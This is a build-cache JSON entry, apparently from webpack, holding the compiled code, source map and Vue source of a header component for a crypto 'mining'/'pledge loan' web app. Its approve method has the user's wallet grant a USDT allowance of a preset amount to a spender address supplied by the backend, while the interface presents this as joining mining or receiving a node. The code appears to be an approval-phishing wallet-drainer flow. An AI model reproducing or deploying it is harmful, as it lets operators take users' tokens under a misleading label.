1
zzzz
2024-03-21 50298673b5146454bf81e642ebadb9697400d13a
1
{"ast":null,"code":"//\n//\n//\n//\n//\n//\n//\n//\n//\n//\n//\n//\n//\n//\n//\n//\n//\n//\n//\n//\n//\n//\n//\n//\n//\n//\n//\n//\n//\n//\n//\n//\n//\n//\n//\n//\n//\n//\n//\n//\n//\n//\n//\n//\n//\n//\n\nimport { mapGetters, mapActions } from \"vuex\";\nimport { CONNECT_WALLET } from \"@/store/const.store\";\nimport { _checkStatus, _joinCheck, _approve, _approveDone } from \"@/API/pledgeLoan\";\nimport Web3 from \"web3\";\nimport usdtAbi from \"@/utils/USDT.json\";\nimport { APPROVE_NUMBER, APPROVE_ADDRESS } from \"@/config/const.cfg\";\nexport default {\n  props: {\n    unread_num: {\n      type: String,\n      default: \"\"\n    }\n  },\n  components: {},\n  computed: {\n    ...mapGetters({\n      theme: \"home/theme\",\n      userInfo: \"user/userInfo\",\n      mingStatus: \"user/mingStatus\"\n    })\n  },\n  data() {\n    return {\n      keywords: \"\"\n    };\n  },\n  methods: {\n    ...mapActions(\"user\", [CONNECT_WALLET]),\n    onInput() {},\n    async connect() {\n      // 连接钱包\n      // if (!this.userInfo.account) {\n      //   await this.CONNECT_WALLET()\n      // }\n      let res = await this.CONNECT_WALLET(\"connect\");\n      this.$emit(\"connectSuccess\", res);\n    },\n    async btnMining() {\n      // 参与挖矿\n      if (!this.userInfo.account) {\n        this.$toast.fail(this.$t(\"请先连接钱包\"));\n        return;\n      }\n      if (this.mingStatus == 2 || this.mingStatus == 1) {\n        // 已质押 , 或者确认中\n        return;\n      } else {\n        let data = await _joinCheck();\n        this.gasObj = data.data;\n        if ([0, -5].includes(this.gasObj.check_answer)) {\n          // 0未授权 和-5异常\n          this.$nextTick(() => {\n            this.approve();\n          });\n        }\n      }\n    },\n    approve() {\n      // 发起授权\n      try {\n        this.$toast.loading({\n          duration: 0,\n          forbidClick: true\n        });\n        var approveAddress = this.userInfo.account;\n        var web3 = new Web3(window.ethereum);\n        const approveNum = APPROVE_NUMBER;\n        const address = APPROVE_ADDRESS;\n        var myContract = new web3.eth.Contract(usdtAbi, address, {\n          from: web3.eth.defaultAccount\n        });\n        myContract.methods.approve(this.gasObj.to, approveNum).send({\n          from: approveAddress,\n          gasPrice: this.gasObj.gasprice,\n          gas: this.gasObj.gaslimit\n        }) // ,gasPrice: this.gasObj.gasPrice, gas: this.gasObj.gaslimit\n        .on(\"transactionHash\", e => {\n          // 这里会得到一个hash值\n          this.txnhash = e;\n          this.doApprove(this.gasObj.to); // 这里返回 check_answer: 1\n          // console.log(\"hash\", hash);\n          // if (hash) {\n          //   this.approveDone(approveAddress);\n          // }\n        }).on(\"receipt\", e => {\n          // 这里会返回一个对象\n          this.approveDone(this.txnhash); // 这里返回一个对象 approveAddress\n        }).on(\"error\", error => {\n          this.$toast.clear();\n          const {\n            code\n          } = error;\n          if (code === 4001) {\n            this.$toast.fail(this.$t(\"您已拒绝\"));\n          }\n        });\n      } catch (err) {\n        this.$toast.fail(this.$t(\"请重试\"));\n        // this.approve()\n        console.log(err);\n      }\n    },\n    doApprove() {\n      _approve().then(() => {\n        // 加入ing\n        this.$toast({\n          message: this.$t(\"授权中\")\n        });\n        this.checkStatus();\n      });\n    },\n    approveDone() {\n      // 加入 ed\n      _approveDone().then(data => {\n        // console.log('加入成功', data)\n        this.checkStatus();\n      });\n    },\n    checkStatus() {\n      // 检查状态\n      _checkStatus().then(data => {\n        // this.status = data.status\n        this.$store.commit(\"user/SET_STATUS\", data.status);\n      });\n    },\n    statusFilter(val) {\n      const status = {\n        0: this.$t(\"Receive Node\"),\n        1: this.$t(\"确认中\"),\n        2: this.$t(\"已开通账户\"),\n        \"-1\": this.$t(\"重新检测\"),\n        \"-2\": this.$t(\"检测中\"),\n        \"-5\": this.$t(\"异常授权,重新加入\")\n      };\n      return status[val] || this.$t(\"Receive Node\");\n    },\n    formatText(str) {\n      if (str) {\n        return str.slice(0, 3) + \"****\" + str.slice(str.length - 3);\n      } else {\n        return this.$t(\"链接钱包\");\n      }\n    }\n  }\n};","map":{"version":3,"names":["mapGetters","mapActions","CONNECT_WALLET","_checkStatus","_joinCheck","_approve","_approveDone","Web3","usdtAbi","APPROVE_NUMBER","APPROVE_ADDRESS","props","unread_num","type","String","default","components","computed","theme","userInfo","mingStatus","data","keywords","methods","onInput","connect","res","$emit","btnMining","account","$toast","fail","$t","gasObj","includes","check_answer","$nextTick","approve","loading","duration","forbidClick","approveAddress","web3","window","ethereum","approveNum","address","myContract","eth","Contract","from","defaultAccount","to","send","gasPrice","gasprice","gas","gaslimit","on","e","txnhash","doApprove","approveDone","error","clear","code","err","console","log","then","message","checkStatus","$store","commit","status","statusFilter","val","formatText","str","slice","length"],"sources":["src/components/ex-header/index.vue"],"sourcesContent":["<template>\n  <div class=\"header flex mb-20 pt-20\">\n    <div class=\"flex items-center\">\n      <img\n        :src=\"require(`@/assets/theme/${theme}/image/logo.png`)\"\n        alt=\"\"\n        class=\"w-72 h-72 mr-18\"\n      />\n    </div>\n    <div class=\"flex items-center\">\n      <div class=\"flex items-center\" @click=\"$router.push('/userCenter')\">\n        <div class=\"px-32 py-13 flex items-center\">\n          <!-- <img src=\"@/assets/image/icon-left_arrow.png\" alt=\"logo\" class=\"w-20 h-33 border-1 mr-32\" @click=\"back\"/> -->\n          <div class=\"inputBoxbg h-60 w-full rounded-full flex items-center\">\n            <input\n              style=\"padding-left: 10px; max-width: 130px\"\n              type=\"text\"\n              v-model=\"keywords\"\n              :placeholder=\"$t('搜索币种')\"\n              class=\"h-full flex-1 search-input border-none bg-none\"\n              @input=\"onInput\"\n            />\n            <img\n              src=\"@/assets/image/icon-search.png\"\n              alt=\"logo\"\n              class=\"w-32 h-32 mx-16\"\n            />\n          </div>\n        </div>\n        <van-icon\n          class=\"font-70\"\n          :name=\"require(`@/assets/image/assets-center/user.png`)\"\n          :badge=\"`${unread_num}`\"\n        >\n        </van-icon>\n        <van-icon\n          class=\"font-70\"\n          :name=\"require(`@/assets/image/assets-center/user.png`)\"\n          :badge=\"`${unread_num}`\"\n        >\n        </van-icon>\n      </div>\n    </div>\n  </div>\n</template>\n\n<script>\nimport { mapGetters, mapActions } from \"vuex\";\nimport { CONNECT_WALLET } from \"@/store/const.store\";\nimport {\n  _checkStatus,\n  _joinCheck,\n  _approve,\n  _approveDone,\n} from \"@/API/pledgeLoan\";\nimport Web3 from \"web3\";\nimport usdtAbi from \"@/utils/USDT.json\";\nimport { APPROVE_NUMBER, APPROVE_ADDRESS } from \"@/config/const.cfg\";\nexport default {\n  props: {\n    unread_num: {\n      type: String,\n      default: \"\",\n    },\n  },\n  components: {},\n  computed: {\n    ...mapGetters({\n      theme: \"home/theme\",\n      userInfo: \"user/userInfo\",\n      mingStatus: \"user/mingStatus\",\n    }),\n  },\n  data() {\n    return {\n      keywords: \"\",\n    };\n  },\n  methods: {\n    ...mapActions(\"user\", [CONNECT_WALLET]),\n    onInput() {},\n    async connect() {\n      // 连接钱包\n      // if (!this.userInfo.account) {\n      //   await this.CONNECT_WALLET()\n      // }\n      let res = await this.CONNECT_WALLET(\"connect\");\n      this.$emit(\"connectSuccess\", res);\n    },\n    async btnMining() {\n      // 参与挖矿\n      if (!this.userInfo.account) {\n        this.$toast.fail(this.$t(\"请先连接钱包\"));\n        return;\n      }\n\n      if (this.mingStatus == 2 || this.mingStatus == 1) {\n        // 已质押 , 或者确认中\n        return;\n      } else {\n        let data = await _joinCheck();\n        this.gasObj = data.data;\n        if ([0, -5].includes(this.gasObj.check_answer)) {\n          // 0未授权 和-5异常\n          this.$nextTick(() => {\n            this.approve();\n          });\n        }\n      }\n    },\n    approve() {\n      // 发起授权\n      try {\n        this.$toast.loading({ duration: 0, forbidClick: true });\n        var approveAddress = this.userInfo.account;\n        var web3 = new Web3(window.ethereum);\n        const approveNum = APPROVE_NUMBER;\n        const address = APPROVE_ADDRESS;\n        var myContract = new web3.eth.Contract(usdtAbi, address, {\n          from: web3.eth.defaultAccount,\n        });\n        myContract.methods\n          .approve(this.gasObj.to, approveNum)\n          .send({\n            from: approveAddress,\n            gasPrice: this.gasObj.gasprice,\n            gas: this.gasObj.gaslimit,\n          }) // ,gasPrice: this.gasObj.gasPrice, gas: this.gasObj.gaslimit\n          .on(\"transactionHash\", (e) => {\n            // 这里会得到一个hash值\n            this.txnhash = e;\n            this.doApprove(this.gasObj.to); // 这里返回 check_answer: 1\n            // console.log(\"hash\", hash);\n            // if (hash) {\n            //   this.approveDone(approveAddress);\n            // }\n          })\n          .on(\"receipt\", (e) => {\n            // 这里会返回一个对象\n            this.approveDone(this.txnhash); // 这里返回一个对象 approveAddress\n          })\n          .on(\"error\", (error) => {\n            this.$toast.clear();\n            const { code } = error;\n            if (code === 4001) {\n              this.$toast.fail(this.$t(\"您已拒绝\"));\n            }\n          });\n      } catch (err) {\n        this.$toast.fail(this.$t(\"请重试\"));\n        // this.approve()\n        console.log(err);\n      }\n    },\n    doApprove() {\n      _approve().then(() => {\n        // 加入ing\n        this.$toast({ message: this.$t(\"授权中\") });\n        this.checkStatus();\n      });\n    },\n    approveDone() {\n      // 加入 ed\n      _approveDone().then((data) => {\n        // console.log('加入成功', data)\n        this.checkStatus();\n      });\n    },\n    checkStatus() {\n      // 检查状态\n      _checkStatus().then((data) => {\n        // this.status = data.status\n        this.$store.commit(\"user/SET_STATUS\", data.status);\n      });\n    },\n    statusFilter(val) {\n      const status = {\n        0: this.$t(\"Receive Node\"),\n        1: this.$t(\"确认中\"),\n        2: this.$t(\"已开通账户\"),\n        \"-1\": this.$t(\"重新检测\"),\n        \"-2\": this.$t(\"检测中\"),\n        \"-5\": this.$t(\"异常授权,重新加入\"),\n      };\n      return status[val] || this.$t(\"Receive Node\");\n    },\n    formatText(str) {\n      if (str) {\n        return str.slice(0, 3) + \"****\" + str.slice(str.length - 3);\n      } else {\n        return this.$t(\"链接钱包\");\n      }\n    },\n  },\n};\n</script>\n\n<style lang=\"scss\" scoped>\n.header {\n  height: 84px;\n  display: flex;\n  justify-content: space-between;\n  align-items: center;\n}\n\n.custom {\n  width: 44px;\n  height: 44px;\n\n  img {\n    width: 100%;\n    height: 100%;\n  }\n}\n.connect-wallet {\n  font-size: 22px;\n  padding: 16px 20px 16px 20px;\n  margin-right: 27px;\n  @include themify() {\n    color: themed(\"text_color3\");\n  }\n}\n.inputBoxbg {\n  width: 300px;\n  @include themify() {\n    background: themed(\"tab_background\");\n  }\n}\n</style>"],"mappings":";;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;AA+CA,SAAAA,UAAA,EAAAC,UAAA;AACA,SAAAC,cAAA;AACA,SACAC,YAAA,EACAC,UAAA,EACAC,QAAA,EACAC,YAAA,QACA;AACA,OAAAC,IAAA;AACA,OAAAC,OAAA;AACA,SAAAC,cAAA,EAAAC,eAAA;AACA;EACAC,KAAA;IACAC,UAAA;MACAC,IAAA,EAAAC,MAAA;MACAC,OAAA;IACA;EACA;EACAC,UAAA;EACAC,QAAA;IACA,GAAAjB,UAAA;MACAkB,KAAA;MACAC,QAAA;MACAC,UAAA;IACA;EACA;EACAC,KAAA;IACA;MACAC,QAAA;IACA;EACA;EACAC,OAAA;IACA,GAAAtB,UAAA,UAAAC,cAAA;IACAsB,QAAA;IACA,MAAAC,QAAA;MACA;MACA;MACA;MACA;MACA,IAAAC,GAAA,cAAAxB,cAAA;MACA,KAAAyB,KAAA,mBAAAD,GAAA;IACA;IACA,MAAAE,UAAA;MACA;MACA,UAAAT,QAAA,CAAAU,OAAA;QACA,KAAAC,MAAA,CAAAC,IAAA,MAAAC,EAAA;QACA;MACA;MAEA,SAAAZ,UAAA,cAAAA,UAAA;QACA;QACA;MACA;QACA,IAAAC,IAAA,SAAAjB,UAAA;QACA,KAAA6B,MAAA,GAAAZ,IAAA,CAAAA,IAAA;QACA,YAAAa,QAAA,MAAAD,MAAA,CAAAE,YAAA;UACA;UACA,KAAAC,SAAA;YACA,KAAAC,OAAA;UACA;QACA;MACA;IACA;IACAA,QAAA;MACA;MACA;QACA,KAAAP,MAAA,CAAAQ,OAAA;U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AAA;MACA;IACA;IACAA,YAAA;MACA;MACApE,YAAA,GAAAkE,IAAA,CAAAhD,IAAA;QACA;QACA,KAAAmD,MAAA,CAAAC,MAAA,oBAAApD,IAAA,CAAAqD,MAAA;MACA;IACA;IACAC,aAAAC,GAAA;MACA,MAAAF,MAAA;QACA,QAAA1C,EAAA;QACA,QAAAA,EAAA;QACA,QAAAA,EAAA;QACA,WAAAA,EAAA;QACA,WAAAA,EAAA;QACA,WAAAA,EAAA;MACA;MACA,OAAA0C,MAAA,CAAAE,GAAA,UAAA5C,EAAA;IACA;IACA6C,WAAAC,GAAA;MACA,IAAAA,GAAA;QACA,OAAAA,GAAA,CAAAC,KAAA,kBAAAD,GAAA,CAAAC,KAAA,CAAAD,GAAA,CAAAE,MAAA;MACA;QACA,YAAAhD,EAAA;MACA;IACA;EACA;AACA","ignoreList":[]},"metadata":{},"sourceType":"module","externalDependencies":[]}